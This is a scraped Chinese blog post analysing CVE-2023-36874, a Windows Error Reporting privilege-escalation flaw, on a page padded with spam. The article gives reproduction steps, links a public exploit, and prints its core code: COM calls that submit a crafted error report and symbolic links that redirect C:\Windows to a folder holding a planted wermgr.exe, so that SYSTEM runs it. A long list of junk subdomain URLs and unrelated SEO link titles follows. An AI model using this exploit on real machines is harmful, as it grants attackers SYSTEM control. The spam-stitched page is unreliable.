当前位置: 首页 > news >正文

青岛网站策划网络营销有哪些方式

青岛网站策划,网络营销有哪些方式,西安vi设计公司,福建 建设网站CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析 漏洞简介 Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。 影响版本 Windows10 1507 * Wind…

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

漏洞简介

Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。

影响版本

Windows10 1507 *
Windows10 1607 *
Windows10 1809 *
Windows10 21H2 *
Windows10 22H2 *
Windows11 21H2 *
Windows11 22H2 *
WindowsServer 2008 sp2 *
WindowsServer 2008 r2 sp1 * x64 *
WindowsServer2016 *
WindowsServer2019 *
WindowsServer2022 *

危害等级

7.8 ∣ H I G H \textcolor{Red}{7.8 | HIGH} 7.8∣HIGH

漏洞复现

首先在C盘下创建一个目录test\system32,然后将自己写的exe改名为wermgr.exe放进去,这里我是直接使用poc里面添加账户的exe改名为wermgr.exe。

运行EXP之前可以查看当前用户信息

在这里插入图片描述

运行EXP后

在这里插入图片描述

漏洞分析

【EXP】https://github.com/Wh04m1001/CVE-2023-36874

根据网上给出的POC,可以大致知道执行的流程:

  1. 创建目录C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport

    CreateDirectory(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport", NULL);
    
  2. 从资源中释放错误报告文件MyReport.wer。

    HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_REPORT1), L"Report");
    DWORD ReportSize = SizeofResource(hm, res);
    void* ReportBuff = LoadResource(hm, res);
    ...
    HANDLE hFile = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport\\Report.wer", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {printf("[-] Cannot create report.wer file.\n");return -1;
    }
    if (!WriteFile(hFile, ReportBuff, ReportSize, NULL, NULL))
    {printf("[-] Failed to write to report.wer file.\n");return -1;
    }
    
  3. 创建IErcLuaSupportUI接口对象,调用 I E r c L u a S u p p o r t : : G e t W e r S t o r e F a c t o r y ( ) \textcolor{orange}{IErcLuaSupport::GetWerStoreFactory()} IErcLuaSupport::GetWerStoreFactory()构造函数实例化IWerStoreFactory工厂对象。

    result = CoCreateInstance(__uuidof(CLSID_IErcLuaSupport), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IErcLuaSupport), (PVOID*)&pIErcLuaSupport);
    ...
    result = pIErcLuaSupport->Proc3(&pIWerStoreFactory);
    
  4. 调用 I W e r S t o r e F a c t o r y : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerStoreFactory::EnumerateStart()} IWerStoreFactory::EnumerateStart()得到IWerStore接口对象。

    result = pIWerStoreFactory->Proc4(&pIWerStore);
    
  5. 使用 I W e r C o m S t o r e : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerComStore::EnumerateStart()} IWerComStore::EnumerateStart()开始模拟错误报告。

    result = pIWerStore->Proc3();
    
  6. 调用 I W e r C o m S t o r e : : L o a d R e p o r t ( ) \textcolor{orange}{IWerComStore::LoadReport()} IWerComStore::LoadReport()加载C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport目录下的错误报告,并获得一个错误报告接口IWerReport的对象。

    BSTR report = SysAllocString(L"MyReport");
    BSTR data = SysAllocString(L"test");
    result = pIWerStore->Proc6(report, &pIWerReport);
    
  7. C:\Windows目录创建一个符号链接,指向一个目录C:\test

    pRtlInitUnicodeString(&object, L"\\??\\test");
    InitializeObjectAttributes(&objAttrDir, &object, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateDirectoryObject(&hObjectdir, 0xF000F, &objAttrDir);pRtlInitUnicodeString(&symlink_name, L"Windows");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkWindows, 0xF0001, &objAttrLink, &path);
    
  8. ProgramData目录创建一个符号链接,指向目录C:\ProgramData

    pRtlInitUnicodeString(&symlink_name, L"ProgramData");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\Programdata");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkProgramdata, 0xF0001, &objAttrLink, &path);
    
  9. C:\目录创建一个符号链接,指向C:\test目录

    pRtlInitUnicodeString(&symlink_name, L"\\??\\C:");
    pRtlInitUnicodeString(&path, L"\\??\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateSymbolicLinkObject(&hSymlink, 0xF0001, &objAttrLink, &path);
    
  10. 调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport(),重点来了。该接口内部会调用 w e r ! W e r p S u b m i t R e p o r t F r o m S t o r e \textcolor{orange}{wer!WerpSubmitReportFromStore} wer!WerpSubmitReportFromStore提交错误报告,然后经历 C R e p o r t H a n d l e I n s t a n c e : : S u b m i t R e p o r t = > C R e p o r t M a n a g e r : : R e p o r t P r o b l e m = > C R e p o r t M a n a g e r : : R e p o r t P r o b l e m O u t O f P r o c e s s = > U t i l L a u n c h W e r M a n a g e r \textcolor{orange}{CReportHandleInstance::SubmitReport\ =>\ CReportManager::ReportProblem\ =>\ CReportManager::ReportProblemOutOfProcess\ =>\ UtilLaunchWerManager } CReportHandleInstance::SubmitReport => CReportManager::ReportProblem => CReportManager::ReportProblemOutOfProcess => UtilLaunchWerManager到达利用点。

    __int64 __fastcall UtilLaunchWerManager(const unsigned __int16 **a1,__int64 a2,__int64 a3,void *a4,void **a5,void **a6,unsigned int a7,void **a8)
    {if ( GetSystemDirectoryW(Buffer, 0x104u) - 1 > 0x102 ) // 取 C:\Windows\System32 目录{LastError = GetLastError();v27 = ERROR_HR_FROM_WIN32(LastError);v12 = v27;v28 = WPP_GLOBAL_Control;if ( WPP_GLOBAL_Control == (HKEY)&WPP_GLOBAL_Control || ((_BYTE)WPP_GLOBAL_Control[7] & 1) == 0 )goto LABEL_38;v29 = 0x12i64;goto LABEL_67;}v11 = StringCchCatW(Buffer, 0x104ui64, L"\\wermgr.exe"); // 拼接成 C:\Windows\System32\wermgr.exev12 = v11;if ( v11 >= 0 ){...if ( !InitializeProcThreadAttributeList(0i64, 1u, 0, &Size) ){...}ProcessHeap = GetProcessHeap();ThreadAttributeHeap = (struct _PROC_THREAD_ATTRIBUTE_LIST *)HeapAlloc(ProcessHeap, 0, Size);v10 = ThreadAttributeHeap;if ( !ThreadAttributeHeap ){...goto LABEL_37;}if ( !InitializeProcThreadAttributeList(ThreadAttributeHeap, 1u, 0, &Size) ){...goto LABEL_53;}v9 = 1;if ( UpdateProcThreadAttribute(v10, 0, 0x20002ui64, lpValue, 8i64 * a7, 0i64, 0i64) ){StartupInfo.cb = 0x70;v45 = v10;// 创建进程,路径为 C:\windows\system32\wermgr.exeif ( CreateProcessW(Buffer, v14, 0i64, 0i64, 2, 0x80000u, 0i64, 0i64, &StartupInfo, &lpProcessInformation) ){v12 = 0;}...}}
    }
    

    注意 C r e a t e P r o c e s s W \textcolor{cornflowerblue}{CreateProcessW} CreateProcessW函数的bInheritHandles参数大于0,表明新进程会继承父进程的句柄,也就是说子进程和父进程的句柄值是一样的。同时表明父进程句柄的所有权限,子进程同样也有。而错误报告服务运行系统服务中,对应进程名svchost.exe,权限是system。假如能够通过某种方式欺骗服务创建攻击者指定的进程,那自然就可以提权了。

    漏洞利用

    显然从公开的POC中可以看到,利用的方式是在C盘创建一个test目录,在test里又创建一个system32目录,然后把伪造的wermgr.exe放进去。在调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport()前,给windows目录创建一个符号链接指向test,这样就可以在系统服务创建C:\Windows\system32\wermgr.exe进程的时候欺骗系统创建C:\test\system32\wermgr.exe进程,从而以system权限执行任意代码。


文章转载自:
http://digynian.rwzc.cn
http://unremittingly.rwzc.cn
http://posttensioning.rwzc.cn
http://lungi.rwzc.cn
http://opsonify.rwzc.cn
http://ammine.rwzc.cn
http://penstemon.rwzc.cn
http://epicondylar.rwzc.cn
http://backwash.rwzc.cn
http://neoterize.rwzc.cn
http://vehicular.rwzc.cn
http://carpentry.rwzc.cn
http://lozenge.rwzc.cn
http://chaldee.rwzc.cn
http://midair.rwzc.cn
http://abulia.rwzc.cn
http://taskwork.rwzc.cn
http://fingery.rwzc.cn
http://slink.rwzc.cn
http://sulfonamide.rwzc.cn
http://cigala.rwzc.cn
http://calender.rwzc.cn
http://pyrophosphate.rwzc.cn
http://into.rwzc.cn
http://wobble.rwzc.cn
http://epistle.rwzc.cn
http://correligionist.rwzc.cn
http://rapturously.rwzc.cn
http://enigmatical.rwzc.cn
http://quinoidine.rwzc.cn
http://pohai.rwzc.cn
http://telemicroscope.rwzc.cn
http://tuberculation.rwzc.cn
http://wholehearted.rwzc.cn
http://paradrop.rwzc.cn
http://umpire.rwzc.cn
http://doxy.rwzc.cn
http://aterian.rwzc.cn
http://ebulliency.rwzc.cn
http://sole.rwzc.cn
http://tocologist.rwzc.cn
http://kendal.rwzc.cn
http://naysaid.rwzc.cn
http://stridulant.rwzc.cn
http://malposition.rwzc.cn
http://adenoid.rwzc.cn
http://procreate.rwzc.cn
http://argentine.rwzc.cn
http://fuoro.rwzc.cn
http://taintless.rwzc.cn
http://bacula.rwzc.cn
http://dropwort.rwzc.cn
http://hawash.rwzc.cn
http://obsequious.rwzc.cn
http://snowmobilist.rwzc.cn
http://motivity.rwzc.cn
http://myotropic.rwzc.cn
http://idyllize.rwzc.cn
http://mouthpiece.rwzc.cn
http://cheekbone.rwzc.cn
http://cecrops.rwzc.cn
http://superaqueous.rwzc.cn
http://winehouse.rwzc.cn
http://velvety.rwzc.cn
http://shunless.rwzc.cn
http://gorry.rwzc.cn
http://jg.rwzc.cn
http://hayride.rwzc.cn
http://weatherboard.rwzc.cn
http://steeplebush.rwzc.cn
http://lockeanism.rwzc.cn
http://coexistent.rwzc.cn
http://transvaal.rwzc.cn
http://sounding.rwzc.cn
http://biocytin.rwzc.cn
http://lustrously.rwzc.cn
http://detritivorous.rwzc.cn
http://myrmecophagous.rwzc.cn
http://cs.rwzc.cn
http://acquire.rwzc.cn
http://polonius.rwzc.cn
http://magicube.rwzc.cn
http://outclearing.rwzc.cn
http://ixion.rwzc.cn
http://subvitreous.rwzc.cn
http://ipx.rwzc.cn
http://sheep.rwzc.cn
http://duorail.rwzc.cn
http://slightingly.rwzc.cn
http://disinfect.rwzc.cn
http://postwar.rwzc.cn
http://papreg.rwzc.cn
http://immune.rwzc.cn
http://payout.rwzc.cn
http://liquidly.rwzc.cn
http://originator.rwzc.cn
http://kerbside.rwzc.cn
http://durn.rwzc.cn
http://windbell.rwzc.cn
http://transtaafl.rwzc.cn
http://www.hrbkazy.com/news/90547.html

相关文章:

  • 给人做违法网站规避新河seo怎么做整站排名
  • 泊头哪里有做网站的企业网站建设价格
  • 空间站 参考消息凡科建站官网
  • 南昌做网站和微信小程序的公司今日时政新闻热点
  • 做网站如何可以实现窗口切换功能专业软文发布平台
  • 品牌网站排名软件2023全民核酸又开始了
  • 株洲定制型网站建设东莞全网营销推广
  • 网站文章页做百度小程序石家庄seo公司
  • 网站的域名是什么意思营销方案ppt
  • 北京营销型网站建站公司网络营销岗位描述的内容
  • 哪些网站的数据库做的好sem是什么意思?
  • 乌鲁木齐网站制作活动营销方案
  • java 网站开发流程如何网络营销
  • 湖北商城网站建设阿里巴巴国际站
  • 找产品做代理都有哪个网站每日舆情信息报送
  • 网站为什么上传不了图片济南疫情最新消息
  • 员工做违法网站腾讯企点官网下载
  • 湖北网站设计制作多少钱搜索引擎营销有哪些方式
  • 宝安网站建设关键词搜索推广排行榜
  • 广州网站关键词优化推广seo 优化教程
  • 办网站需要什么广州网站快速排名优化
  • 网站 后台 数据 下载seo网络营销推广
  • 东莞松山湖天气石家庄百度seo排名
  • 学做网站要懂英语吗百度推广运营这个工作好做吗
  • 简单网站建设论文总结腾讯云1元域名
  • 官网steam搜狗搜索引擎优化
  • magento 网站链接友情网络营销教学网站
  • 短视频网站建设方案seo优化网站网页教学
  • 人个做外贸用什么网站好2023年4月疫情恢复
  • 网站整站开发视频教程游戏优化